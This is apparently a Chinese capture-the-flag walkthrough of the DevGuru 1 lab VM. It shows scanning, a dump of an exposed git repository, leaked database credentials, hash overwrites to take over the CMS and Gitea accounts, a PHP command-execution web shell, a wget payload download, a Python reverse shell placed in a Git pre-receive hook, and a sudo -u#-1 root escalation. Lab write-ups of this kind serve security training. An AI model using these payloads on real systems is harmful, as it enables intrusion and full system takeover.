DevGuru 1

https://download.vulnhub.com/devguru/devguru.ova.7z

靶场IP:192.168.32.224

扫描对外端口服务

┌──(root💀kali)-[~/Desktop]
└─# nmap -p 1-65535 -sV  192.168.32.224
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-11 01:23 EDT
Nmap scan report for 192.168.32.224
Host is up (0.00096s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
8585/tcp open  unknown

访问80端口

爆破目录

┌──(root💀kali)-[/tmp]
└─# dirb http://192.168.32.224/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Sep 11 01:25:29 2022
URL_BASE: http://192.168.32.224/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.32.224/ ----
+ http://192.168.32.224/.git/HEAD (CODE:200|SIZE:23)                                                                                                                                                                                                                                                                        
+ http://192.168.32.224/.htaccess (CODE:200|SIZE:1678)                                                                                                                                                                                                                                                                      
+ http://192.168.32.224/0 (CODE:200|SIZE:12674)                                                                                                                                                                                                                                                                             
+ http://192.168.32.224/about (CODE:200|SIZE:18666)                                                                                                                                                                                                                                                                         
+ http://192.168.32.224/About (CODE:200|SIZE:18666)                                                                                                                                                                                                                                                                         
+ http://192.168.32.224/backend (CODE:302|SIZE:414)                                                                                                                                                                                                                                                                         
==> DIRECTORY: http://192.168.32.224/config/                                                                                                                                                                                                                                                                                
+ http://192.168.32.224/index.php (CODE:200|SIZE:12724)                                                                                                                                                                                                                                                                     
==> DIRECTORY: http://192.168.32.224/modules/                                                                                                                                                                                                                                                                               
==> DIRECTORY: http://192.168.32.224/plugins/                                                                                                                                                                                                                                                                               
+ http://192.168.32.224/services (CODE:200|SIZE:10038)                                                                                                                                                                                                                                                                      
+ http://192.168.32.224/Services (CODE:200|SIZE:10038)                                                                                                                                                                                                                                                                      
==> DIRECTORY: http://192.168.32.224/storage/                                                                                                                                                                                                                                                                               
==> DIRECTORY: http://192.168.32.224/themes/                                                                                                                                                                                                                                                                                
==> DIRECTORY: http://192.168.32.224/vendor/                                                                                                                                                                                                                                                                                
                                                                                                                                                                                                                                                                                                                            
---- Entering directory: http://192.168.32.224/config/ ----
                                                                                                                                                                                                                                                                                                                            
---- Entering directory: http://192.168.32.224/modules/ ----
==> DIRECTORY: http://192.168.32.224/modules/backend/                                                                                                                                                                                                                                                                       
==> DIRECTORY: http://192.168.32.224/modules/cms/                                                                                                                                                                                                                                                                           
==> DIRECTORY: http://192.168.32.224/modules/system/                                                                                                                                                                                                                                                                        
                                                                 

访问:/.git/HEAD

使用git-dumper对整个git项目导出

┌──(root💀kali)-[/opt/git-dumper]
└─# python3 git_dumper.py  http://192.168.32.224 /tmp/sources

访问:/adminer.php,发现需要数据库连接信息

查看数据库连接文件

┌──(root💀kali)-[/tmp/sources]
└─# cat config/database.php


'mysql' => [
            'driver'     => 'mysql',
            'engine'     => 'InnoDB',
            'host'       => 'localhost',
            'port'       => 3306,
            'database'   => 'octoberdb',
            'username'   => 'october',
            'password'   => 'SQ66EBYx4GT3byXH',
            'charset'    => 'utf8mb4',
            'collation'  => 'utf8mb4_unicode_ci',
            'prefix'     => '',
            'varcharmax' => 191,
        ],

登录成功

backend_users 表中,我在这里看到了用户"frank"的记录,我找到了bcrypt 算法加密形式的密码,并且可以使用编辑选项卡修改该记录。

因此,我尝试使用 https://www.browserling.com/tools/bcrypt生成一个新密码 :hack123

$2a$10$EZqGJ5vfe6K9vtzmn9xPCOER/W0JwLkLzzUFFfmvsM2CKFxr9P4tm

使用frank/hack123登录cms

我在 Google 上搜索并找到了一个通过执行 PHP 代码来利用 October CMS的链接。所以我执行以下代码:

{{ this.page.getShell }}

在"home.htm"文件的代码选项卡中添加以下方法:

function onStart() {
	$this->page['getShell'] = system($_GET['cmd']);
}

执行shell:http://192.168.32.224/?cmd=ls -la

下载反弹shell

192.168.32.224/?cmd=wget http://192.168.32.130/shell.php

我们得到了反向连接,让我们进一步列举。我们在 /var/backup 中找到了app.ini.bak文件

在这里,我们找到了 gitea DB 的另一个登录凭据。

[database]
; Database to use. Either "mysql", "postgres", "mssql" or "sqlite3".
DB_TYPE             = mysql
HOST                = 127.0.0.1:3306
NAME                = gitea
USER                = gitea
; Use PASSWD = `your password` for quoting if you use special characters in the password.
PASSWD              = UfFPTF8C8jjxVF2m

因此我们以gitea:UfFPTF8C8jjxVF2m登录mysql

在用户内部的 gitea DB 中,该表包含 user:frank 并再次更改密码

现在让我们使用上面生成的用户 Frank 的密码哈希。因此,我为用户 frank 编辑了记录并更新了表格。

然后我导航到 gitea over 8585 并使用以下凭据登录

在这里,我们得到了仪表板并找到了 frank/devguru-website 的链接。

单击图像中突出显示的设置。

点击Git Hooks > pre-receive > Hook Content然后执行 python 反向 shell 和代码。

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.32.130",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

但是您需要更新存储库以执行 python 代码,因此返回存储库并打开 README.md

现在通过在文件末尾添加一些空白行来编辑文件,并在单击提交更改后立即单击提交更改,它将更新存储库,您将通过 netcat 会话获得反向连接。

因此,我们得到了反向连接,我们找到了 user.txt 文件,这是我们的第一个标志。

为了提升权限,我们检查了 Sudo 权限,发现用户 frank 可以使用 root 权限运行 sqlite3,而且安装的 sudoers 插件版本也存在漏洞。

我们从这里发现了一个漏洞。然后我执行以下命令以获取 root 权限 shell 并读取作为我们最终标志的 root.txt。

sudo -u#-1 sqlite3 /dev/null '.shell /bin/bash'

最后更新于